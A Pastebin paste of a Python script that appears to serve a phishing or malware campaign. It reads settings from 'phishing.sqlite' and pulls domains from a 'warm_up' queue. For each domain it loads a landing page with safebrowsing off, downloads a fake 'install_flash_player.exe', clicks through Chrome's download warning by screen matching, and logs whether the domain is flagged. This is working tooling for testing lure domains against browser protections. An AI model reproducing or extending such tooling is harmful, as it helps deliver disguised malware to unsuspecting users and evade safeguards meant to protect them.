Advertisement
Guest User

Untitled

a guest
Mar 22nd, 2019
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.89 KB | None | 0 0
  1. import os
  2. import time
  3. import random
  4. import pika
  5. import sqlite3
  6. import json
  7. import numpy
  8. import datetime
  9. import pyautogui
  10. import cv2 as cv
  11. import csv
  12. from selenium import webdriver
  13. from selenium.webdriver.common.by import By
  14. from selenium.webdriver.support.ui import WebDriverWait
  15. from selenium.webdriver.support import expected_conditions as EC
  16. from selenium.webdriver.common.action_chains import ActionChains
  17.  
  18.  
  19. # main function
  20. def main():
  21. try:
  22. data_from_database()
  23.  
  24. channel = connect_to_rabbit_mq_server()
  25. channel.basic_qos(prefetch_count=1)
  26. channel.basic_consume(start_testing, queue=queue)
  27. channel.start_consuming()
  28. except Exception as e:
  29. print(e)
  30. main()
  31.  
  32.  
  33. # function for getting data from database
  34. def data_from_database():
  35. global user
  36. global password
  37. global queue
  38. global host
  39. global log_file
  40.  
  41. conn = sqlite3.connect('phishing.sqlite')
  42. c = conn.cursor()
  43.  
  44. user = c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_customer_user\' LIMIT 1;').fetchone()[
  45. 0]
  46. password = \
  47. c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_customer_pass\' LIMIT 1;').fetchone()[0]
  48. queue = \
  49. c.execute(
  50. 'SELECT value FROM configurations WHERE key_data=\'rabbit_mq_warm_up_queue\' LIMIT 1;').fetchone()[0]
  51. host = c.execute('SELECT value FROM configurations WHERE key_data=\'rabbit_mq_host\' LIMIT 1;').fetchone()[0]
  52. log_file = c.execute('SELECT value FROM configurations WHERE key_data=\'log_file_name\' LIMIT 1;').fetchone()[0]
  53.  
  54. conn.close()
  55.  
  56.  
  57. # function for connection to RabbitMQ server
  58. def connect_to_rabbit_mq_server():
  59. global credentials
  60.  
  61. credentials = pika.PlainCredentials(user, password)
  62. connection = pika.BlockingConnection(pika.ConnectionParameters(
  63. host=host, port=5672, credentials=credentials)) # open connection
  64. channel = connection.channel() # get the channel
  65. channel.queue_declare(queue=queue) # set the queue
  66. return channel
  67.  
  68.  
  69. # main script for testing
  70. def start_testing(ch, method, properties, body):
  71. print()
  72. ch.basic_ack(delivery_tag=method.delivery_tag)
  73. data = json.loads(str(body, encoding='utf-8'))
  74. available_browsers = ["firefox", "chrome"]
  75. domain = data['domain']
  76. lp_id = "/?pcl=RAlMYKkYqxEkc0BG7-gS6YBXYoZtwHJrAnLZrvPqfQE.&stub_name=1859&lp_id=4&c=fda94ece5f135810614a75799153bab6&test=1"
  77. download_timeout = 20
  78. download_folder = "C:\\Users\\Win7\\Downloads\\"
  79.  
  80. # Keep checking forever
  81. # while True:
  82. try:
  83. # Select random browser
  84. rand_browser = random.choice(available_browsers)
  85.  
  86. if rand_browser == "firefox":
  87. # Firefox
  88. profile = webdriver.FirefoxProfile()
  89. profile.set_preference("browser.download.folderList", 2)
  90. profile.set_preference("browser.download.manager.showWhenStarting", False)
  91. profile.set_preference("browser.download.dir", download_folder)
  92. profile.set_preference("browser.helperApps.neverAsk.saveToDisk", "application/octet-stream")
  93. browser = webdriver.Firefox(profile)
  94.  
  95. elif rand_browser == "chrome":
  96. # Chrome
  97. chrome_options = webdriver.ChromeOptions()
  98. prefs = {"download.default_directory": download_folder,
  99. "download.prompt_for_download": False,
  100. "directory_upgrade": True,
  101. "profile.default_content_settings.popups": 0,
  102. "profile.default_content_setting_values.automatic_downloads": 1,
  103. "safebrowsing.enabled": False}
  104. chrome_options.add_experimental_option("prefs", prefs)
  105. browser = webdriver.Chrome(executable_path="chromedriver.exe", options=chrome_options)
  106. else:
  107. quit(1)
  108. try:
  109. wait_driver = WebDriverWait(browser, 10)
  110. print(domain + lp_id)
  111. browser.get(domain + lp_id)
  112. download_button = wait_driver.until(
  113. EC.presence_of_element_located((By.CLASS_NAME, "download_link")))
  114.  
  115. time.sleep(2) # Wait page to load
  116.  
  117. # Move mouse to download button and click
  118. action = ActionChains(browser).move_to_element(download_button)
  119. action.move_by_offset(200, 200)
  120. action.move_to_element(download_button)
  121. action.click()
  122. action.perform()
  123.  
  124. timer = 0
  125.  
  126. # Wait until file is downloaded
  127. file_path = download_folder + "install_flash_player.exe"
  128. while True:
  129. if timer >= download_timeout:
  130. if rand_browser == "chrome":
  131. click_keep_button(domain)
  132. break
  133.  
  134. if os.path.isfile(file_path):
  135. if os.path.getsize(file_path) >= 20019904:
  136. if rand_browser == "chrome":
  137. click_keep_button(domain)
  138. break
  139. time.sleep(1)
  140. timer += 1
  141.  
  142. browser.close()
  143.  
  144. time.sleep(2)
  145.  
  146. # Delete all files
  147. filelist = [f for f in os.listdir(download_folder)]
  148. for f in filelist:
  149. file_name = os.path.join(download_folder, f)
  150. os.remove(file_name)
  151.  
  152. except Exception as e:
  153. browser.close()
  154. print("Something went wrong, error: " + str(e))
  155.  
  156. except Exception as e:
  157. print("Could not create browser, error: " + str(e))
  158.  
  159. def log_to_csv(domain, warmed):
  160. with open('log_file.csv', mode='a') as log_file:
  161. log_writer = csv.writer(log_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
  162. if warmed:
  163. log_writer.writerow([domain, datetime.datetime.now(), 'warm'])
  164. else:
  165. log_writer.writerow([domain, datetime.datetime.now(), 'not_warm'])
  166.  
  167. def click_keep_button(domain):
  168. try:
  169.  
  170. pyautogui.screenshot('screenshot.png')
  171.  
  172. x_coordinate = 0
  173. y_coordinate = 0
  174.  
  175. img_rgb = cv.imread('screenshot.png')
  176. img_gray = cv.cvtColor(img_rgb, cv.COLOR_BGR2GRAY)
  177. template = cv.imread('keep_example.png', 0)
  178. res = cv.matchTemplate(img_gray, template, cv.TM_CCOEFF_NORMED)
  179. threshold = 0.8
  180. loc = numpy.where(res >= threshold)
  181. for pt in zip(*loc[::-1]):
  182. x_coordinate = pt[0] + 5
  183. y_coordinate = pt[1] + 5
  184.  
  185. if x_coordinate != 0 or y_coordinate != 0:
  186. pyautogui.moveTo(x_coordinate, y_coordinate)
  187. pyautogui.click()
  188. log_to_csv(domain=domain,warmed=False)
  189. time.sleep(10)
  190. else:
  191. log_to_csv(domain=domain,warmed=True)
  192.  
  193.  
  194. except Exception as e:
  195. print(e)
  196. # run script
  197. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement